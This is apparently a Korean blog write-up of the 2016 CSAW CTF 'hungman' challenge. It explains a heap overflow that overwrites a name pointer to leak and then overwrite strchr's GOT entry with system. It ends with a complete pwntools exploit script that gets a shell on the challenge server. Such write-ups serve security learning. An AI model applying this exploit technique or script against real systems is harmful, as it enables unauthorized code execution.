2016 CSAW CTF hungman
by St1tch크게 두 개의 함수가 존재한다.
한개는 유저 구조체를 init하는 함수이고,
한개는 이상한? 게임을 진행하고 기존의 점수보다 높으면 이름을 수정할 수 있는 그런 함수이다.
위 함수에서 이름이 저장되는 heap주소가, user_info 구조체의 힙주소보다 낮은주소에 위치한다는 것을 기억해야한닷
코드를 보고 대충의 구조체를 알아낼 수 있따.
score는 이상한 게임을 하는 함수를 보면 처음 4바이트에 저장되는것을 알 수 있다.
이상한 게임을 진행하는 함수의 마지막 부분인데, 여기서 취약점이 발생한다.
만약 현재 score보다 높은점수를 게임을 통해 획득하면, 이름을 바꿀 수 있게되는데,
malloc을 통해 기존의 name의 길이보다 더 큰 크기의 메모리를 할당 받을 수 있다.
user_info 자체의 힙영역의 주소는 고정되있기 때문에,
처음에 입력한 이름의 길이보다 더 길게 바꾸게 되면, user_info+8에 존재하는 &name을 바꿀 수 있다.
게임에서 높은점수를 얻는건 쉽다.
적당히 길게 이름을 정하고 적당히 소문자 몇개를 보내면 high score를 얻을 수 있다.
&name값은 snprintf함수를 통해 byte_602100에 저장이 되는데, &name의 값에 strchr의 got주소를 적게되면 실제주소값을 읽을 수 있다.
이렇게 메모리를 leak하고 난 이후, 오프셋 계산을 통해 system함수의 실제주소를 구할 수 있다.(libc 제공됨)
또 다시 높은 점수를 얻게되면 memcpy함수를 통해 strchr의 got를 system함수의 실제주소로 바꿀 수 있고,
마지막으로 다시 한번 점수를 더 얻게되면, /bin/sh문자열을 입력함으로써
결과적으로 system("/bin/sh") 함수가 실행이 됨으로써 쉘을 획득할 수 있다.
from pwn import *
import stitch
local = False
if local :
s = remote('localhost', 9988)
raw_input()
else :
s = remote('pwn.chal.csaw.io', 8003)
def play_game(_str) :
s.recvuntil('_\n')
p = log.progress('play game! ')
for i in _str :
p.status('send %s '%(i))
s.sendline(i)
s.recvuntil('\n')
p.status('quitng game!')
while True :
s.sendline('a')
sleep(0.5)
tmp = s.recv(1024)
if bool(re.search('name?', tmp)) :
break
p.success('end!')
s.sendline('y')
sleep(1)
def solve() :
p = log.progress('Status -> ')
s.recvuntil('\n')
s.sendline('a' * 100)
#1
p.status('strchr got.plt leak.')
play_game('abcdefg')
got_strchr = 0x602038
pay = 'a' * (0x80 - 0x10)
pay += p32(0) #score
pay += p32(50) #len_name
pay += p64(got_strchr)
s.send(pay)
strchr = int(s.recvuntil('?').split(':')[1][1:7][::-1].encode('hex'), 16) - 48
offset = strchr - 0x89050
system = offset + 0x45380
log.info('strchr = ' + hex(strchr))
log.info('system = ' + hex(system))
#2
p.status('strchr_got overwrite.')
s.sendline('y')
play_game('a')
pay = p64(system)
s.send(pay)
s.recvuntil('?')
#3
p.status('execute shell.')
s.sendline('y')
play_game('abcdefg')
pay = '/bin/sh'
s.send(pay)
p.success('Get Shell!')
s.interactive()
if __name__ == '__main__' :
solve()
블로그의 정보
튜기's blogg(st1tch)
St1tch